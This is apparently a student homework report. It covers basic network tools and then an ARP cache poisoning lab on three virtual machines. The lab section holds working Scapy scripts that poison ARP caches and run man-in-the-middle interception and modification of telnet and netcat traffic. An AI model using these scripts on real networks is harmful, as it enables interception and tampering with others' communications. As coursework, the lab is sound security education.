**Name:** Henry Salgado

**ID:** 80509694

**Homework 6**

**Part 1:**

|  |
| --- |
| **Running ifconfig**  My IP address assigned is 10.0.2.15 with a netmask of 255.255.255.0 |
| **B) What Information is Provided by ifconfig?**   * **inet (Internet Protocol)**: The IPv4 address of the interface. * **inet6**: The IPv6 address of the interface. * **netmask**: Indicates the network's subnet mask * **Broadcast:** The address used to send data to all hosts on the local network. * **HWaddr/MAC (Hardware Address)**: The unique identifier assigned to the network interface. * **MTU (Maximum Transmission Unit)**: The size of the largest packet that can be sent from or received by the interface. * **RX and TX**: Information about packets received (RX) and transmitted (TX), including errors and dropped packets. |
| **C) What is the difference between ifconfig and ip for network configuration?**  **Both ifconfig and ip commands are used to control network interfaces**  **Advantages and Limitations:**    ifconfig:   * ifconfig: This is the traditional tool that comes with the net-tools suite for network interface management. * Advantages: Familiarity for long-time users, simplicity in its usage. * Limitations: Less functionality compared to ip, not actively developed, doesn't display all interface details by default (e.g., all the IP addresses assigned to the interface).   ip:   * ip: Part of the iproute2 package, this command is intended to replace an assortment of legacy net-tools commands, including ifconfig. * Advantages: More comprehensive, showing all the network interfaces and their details, actively developed, supports more advanced features and is more powerful for scripting. * Limitations: Different syntax that can be initially harder to learn for those used to ifconfig |

**Question 1.2:** Running dig and nslookup

|  |  |
| --- | --- |
| **dig** | **nslookup** |
|  |  |
| The 'nslookup' output is simpler compared to 'dig'. It provides:   * The IP address of the nameserver answering the query (127.0.0.53) * The nameserver's own IP address (127.0.0.53#53) * A list of the IP addresses that [www.google.com](http://www.google.com/) resolves to (both IPv4 and IPv6 addresses)   Comparing this to the 'dig' output:   * 'nslookup' doesn't provide query metadata like flags, counts of answers, authority, additional records, etc. * 'nslookup' provides both the IPv4 and IPv6 addresses, while the 'dig' output only contained IPv4 * 'nslookup' lists the IPs in a simpler, more readable format compared to 'dig'   In terms of the difference between the two commands:   * 'nslookup' is focused on quickly retrieving and displaying the IP addresses associated with a domain name * It has a simple, interactive interface for performing repeated lookups * 'dig' is a more powerful tool providing complete, raw details about the DNS query and response * 'dig' supports many command-line options for controlling the query and output format | |

**Question 1.3: Running ping on google.com**

|  |
| --- |
|  |
| 1. A) The ping command is used to test the reachability of a host on an IP network. It operates by sending Internet Control Message Protocol (ICMP) Echo Request messages to the target host and waits for a Reply. Additionally, the ping command gives us statistics about the packets sent, received, possibly lost, and the round-trip times.     B) I didn’t get that error, but I am assuming it would mean the need to troubleshoot the network connectivity issues between computer and the destination host. |

**Question 1.4** Running traceroute [www.google.com](http://www.google.com)

|  |
| --- |
|  |
| **Part a) Information provided by traceroute**  * **Number of Hops**: A hop is essentially a jump from one network device (like a router) to another. The output shows my packets took 14 hops to reach Google’s server. * **IP Addresses**: The IP addresses of each router or device the packet travels through. * **Round-Trip Times**: For each hop, **traceroute** displays the time it takes for a packet to go from your computer to that hop and back again * **Domain Names**: When possible, **traceroute** will show the domain name associated with each IP address. * **Path Discovery**: The path your data takes to get to the destination, which can change over time due to dynamic routing algorithms used by ISPs. * **Asterisks (\*):** These denote that no response was received from that hop within the timeout period. |
| **Part b)**   * **Identifying Weak Links**: Security professionals could identify where the data packets are potentially being delayed or dropped. * **Mapping Network Pathways**: Understanding the route can help identify unauthorized changes in network pathways that could indicate a security breach. * **Investigating Latency Issues**: By understanding the hop-by-hop timings, you can pinpoint where latency or packet loss is occurring, which could be due to misconfiguration or an attack like a Distributed Denial of Service (DDoS). * **Auditing and Compliance**: Ensuring that data does not flow through untrusted networks or countries with strict data privacy laws can be a part of compliance checks. |

### **Question 1.5:**

|  |  |
| --- | --- |
|  | tool used for examining the network connections, routing tables, interface statistics, masquerade connections, and multicast memberships.   * -a: Shows both listening and non-listening sockets * -t: Display TCP connections. * -u: Display UDP connections. * -n: Show numerical addresses instead of trying to determine symbolic host, port, or usernames. |

**Part 2: Extra Credit Challenge**

|  |  |
| --- | --- |
| **Running : ifconfig –a** | **Observation:**  enp0s3 is the active network interface with internet connectivity since it has an IP address assigned (10.0.2.15)  Netmask is 255.255.255.0.0  And mac address starts with 0:42:2e |
| Capturing traffic using tcpdump | |
| Sending 10 ICMP echo requests to Google | |
| Stopping tcddump | |
| Wireshark Output | |

**Part 3: ARP Cache Poisoning Attack Lab**

Task 0: Setting up VMs

|  |
| --- |
| Running 3 Virtual Machines (A,B, M)  A = '10.0.2.4'  B = '10.0.2.5'  M = '10.0.2.15'    A\_mac = '08:00:27:1b:11:df '  B\_mac = '08:00:27:da:74:5d'  M\_mac = '08:00:27:aa:b1:56' |
| **Running ipconfig on M:**  enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255  inet6 fe80::39e7:8a70:6652:dd07 prefixlen 64 scopeid 0x20<link>  ether 08:00:27:aa:b1:56 txqueuelen 1000 (Ethernet)  **Running ipconfig on A:**  enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet 10.0.2.4 netmask 255.255.255.0 broadcast 10.0.2.255  inet6 fe80::c43a:d405:17ed:65e1 prefixlen 64 scopeid 0x20<link>  ether 08:00:27:1b:11:df txqueuelen 1000 (Ethernet)  **Running on ipconifg on B**  enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500  inet 10.0.2.5 netmask 255.255.255.0 broadcast 10.0.2.255  inet6 fe80::af6a:86c3:cadd:943c prefixlen 64 scopeid 0x20<link>  ether 08:00:27:da:74:5d txqueuelen 1000 (Ethernet) |
| **Task 1a**  Code:  from scapy.all import \*    A\_ip = "10.0.2.4"  A\_mac = "08:00:27:1b:11:df"  B\_ip = "10.0.2.5"  M\_mac = "08:00:27:aa:b1:56"    E\_layer = Ether(dst="ff:ff:ff:ff:ff:ff", src=M\_mac)  A\_layer = ARP(hwsrc=M\_mac, psrc=B\_ip, hwdst="00:00:00:00:00:00", pdst=A\_ip, op=1)    pkt = E\_layer / A\_layer  sendp(pkt)  **Output (on Host M and Host A):**    **Observation**  ARP spoofing script ran successfully on Host M, as indicated by "Sent 1 packets." Following this, I checked the ARP table on Host A. The ARP table now includes an entry where Host B's IP address (10.0.2.5) is associated with Host M's MAC address (08:00:27:aa:b1:56), which means that the ARP cache poisoning was successful. |
| **Task 1b**  **Code:**  from scapy.all import \*    E\_layer = Ether(dst="08:00:27:1b:11:df", src="08:00:27:aa:b1:56")  A\_layer = ARP(hwsrc="08:00:27:aa:b1:56", psrc="10.0.2.5", hwdst="08:00:27:1b:11:df", pdst="10.0.2.4", op=2)  pkt = E\_layer / A\_layer  pkt.show()  sendp(pkt)  Note: I have updated op =2 to indicate a reply.  **Scenario 1:**    **Note**: Successful attack  **Scenario 2:**  Note: I cleared cache to make sure there were no old logs, here I run arp to make sure.    Malicious packets sent from Host A    **Observation:**  When running arp command, attack does not seem successful. However, checking wireshark output we can see that address 10.0.2.5 is detected as having two addresses (including M’s mac addressing ending in 56) |
| **1c**  **Code:**  from scapy.all import \*    B\_ip = "10.0.2.5"  M\_mac = "08:00:27:aa:b1:56"    E\_layer = Ether(dst="ff:ff:ff:ff:ff:ff", src=M\_mac)  A\_layer = ARP(hwsrc=M\_mac, psrc=B\_ip, hwdst="ff:ff:ff:ff:ff:ff", pdst=B\_ip, op=2)  pkt = E\_layer / A\_layer    sendp(pkt)    We can see that sending the packet via M was successful, again when running arp-n  We cannot see 10.0.5.0 (Host B) in the cache. I therefore ran Wireshark to detect traffic.    We can see that there is a duplicate address detected, where host B address 10.0.2.5 is also mapped to mac address of M denoted by the ending b1:56.  **Scenario 2:**  Clearing the cache does not help in showing host b. Again, we can see that there is a duplicate Ip address detected |
| **Task 2:** Step 1 (Launch the ARP cache poisoning attack)  Code  from scapy.all import \*  import time    A = "10.0.2.4"  A\_mac = "08:00:27:1b:11:df"  B = "10.0.2.5"  B\_mac = "08:00:27:da:74:5d"  M = "10.0.2.15"  M\_mac = "08:00:27:aa:b1:56"    def get\_arp\_spoof\_pkt(victim\_ip, victim\_mac, spoof\_ip, attacker\_mac):  ether = Ether(dst=victim\_mac)  arp = ARP(psrc=spoof\_ip, pdst=victim\_ip, hwdst=victim\_mac, hwsrc=attacker\_mac, op=2) # op=2 for ARP reply  return ether / arp    pkt\_a\_to\_b = get\_arp\_spoof\_pkt(A, A\_mac, B, M\_mac) # Tell A that B's IP is associated with M's MAC  pkt\_b\_to\_a = get\_arp\_spoof\_pkt(B, B\_mac, A, M\_mac) # Tell B that A's IP is associated with M's MAC    # Sending packets every 5 seconds to maintain the ARP poisoning  while True:  sendp(pkt\_a\_to\_b, verbose=False)  sendp(pkt\_b\_to\_a, verbose=False)  time.sleep(5)    **Observation:** We can see that Host a (10.0.2.4) and Host B (10.0.2.5) are sending each other requests, and that the mac address for both is that of Host M (ending in 56), therefore this attack was successful.  **STEP 2**  Turning off IP fowarding  sysctl net.ipv4.ip\_forward=0    **Observation:** We can see in the Wireshark output that Host A and B are sending each other requests, these are going to mac address of M. However, since we are not forwarding, we can see that we have 100% packet loss in both Host A and Host B when we ping them to each other.  **STEP 3 (Turning on forwarding)**  **Observation :** When we turn on forwarding, we can see that there are more requests and replies by Host A and B. We can also observe that there is less packet loss (29%) than compared to the previous step, which was (100%). |
| **On Host M, I turn on forwarding**  sudo sysctl net.ipv4.ip\_forward=1  **Beginning telnet connection from Host A to Host B**    **Once connection has been established, I turn off forwarding**  sudo sysctl net.ipv4.ip\_forward=0  **Running the attack: Code**  #!/usr/bin/env python3  from scapy.all import \*  import re    A\_IP = "10.0.2.4"  A\_MAC = "08:00:27:1b:11:df"  B\_IP = "10.0.2.5"  B\_MAC = "08:00:27:da:74:5d"  M\_MAC = "08:00:27:aa:b1:56"    def spoof\_pkt(pkt):  if pkt[IP].src == A\_IP and pkt[IP].dst == B\_IP and pkt.haslayer(TCP) and pkt.haslayer(Raw):  data = pkt[Raw].load.decode('utf-8', errors='ignore')  data = re.sub(r'[a-zA-Z]', 'Z', data) # Replace all letters with 'Z'  # Removing the old checksums  del(pkt[IP].chksum)  del(pkt[TCP].chksum)  # Construct the new packet  newpkt = Ether(src=M\_MAC, dst=B\_MAC) / IP(src=A\_IP, dst=B\_IP) / TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport) / data  sendp(newpkt, verbose=False)  print(f"Data transformed from {pkt[Raw].load} to {data}")    elif pkt[IP].src == B\_IP and pkt[IP].dst == A\_IP and pkt.haslayer(TCP):  # Forward the packet from B to A  # Remove the old checksums  del(pkt[IP].chksum)  del(pkt[TCP].chksum)  # Construct the new packet  newpkt = Ether(src=M\_MAC, dst=A\_MAC) / pkt[IP]  sendp(newpkt, verbose=False)    pkt = sniff(filter='tcp and (host {} or host {})'.format(A\_IP, B\_IP), prn=spoof\_pkt)  **I will launch attack via Host M (right screen) and send echos via Host A. We can see the retransmission on wireshark.**    Additionally, we can see the transformation of data to Z’s in the output too |
| **Task 3: MITM Attack on Netcat using ARP Cache Poisoning**  Code:  from scapy.all import \*    A = '10.0.2.4'  B = '10.0.2.5'  M = '10.0.2.15'    A\_mac = '08:00:27:1b:11:df'  B\_mac = '08:00:27:da:74:5d'  M\_mac = '08:00:27:aa:b1:56'    def tcp\_spoof\_pkt\_netcat(pkt):  if pkt[Ether].src != M\_mac:  if pkt[IP].src == A and pkt[IP].dst == B:  pkt[Ether].src = M\_mac  pkt[Ether].dst = B\_mac    try:  payload = bytes(pkt[TCP].payload).decode("utf-8")  print("Original Payload:", payload)  payload = censor\_payload(payload)  print("Modified Payload:", payload)  pkt[TCP].payload = Raw(payload.encode())  except AttributeError:  print("Packet without TCP payload")    del pkt[IP].len  del pkt[IP].chksum  del pkt[TCP].chksum  sendp(pkt)    elif pkt[IP].src == B and pkt[IP].dst == A:  pkt[Ether].src = M\_mac  pkt[Ether].dst = A\_mac  sendp(pkt)    def censor\_payload(payload, first\_name="henry", replacement\_txt="aaaaaaa"):  return payload.replace(first\_name, replacement\_txt)    sniff(filter='tcp', prn=tcp\_spoof\_pkt\_netcat)  Inserting image...  **Observation:** The fact that Host B is receiving altered messages suggests that ARP spoofing is successful. Host M can intercept the traffic between Host A and Host B and modify the contents before they reach the server (Host B). We can clearly see the output in Host M (right hand side). |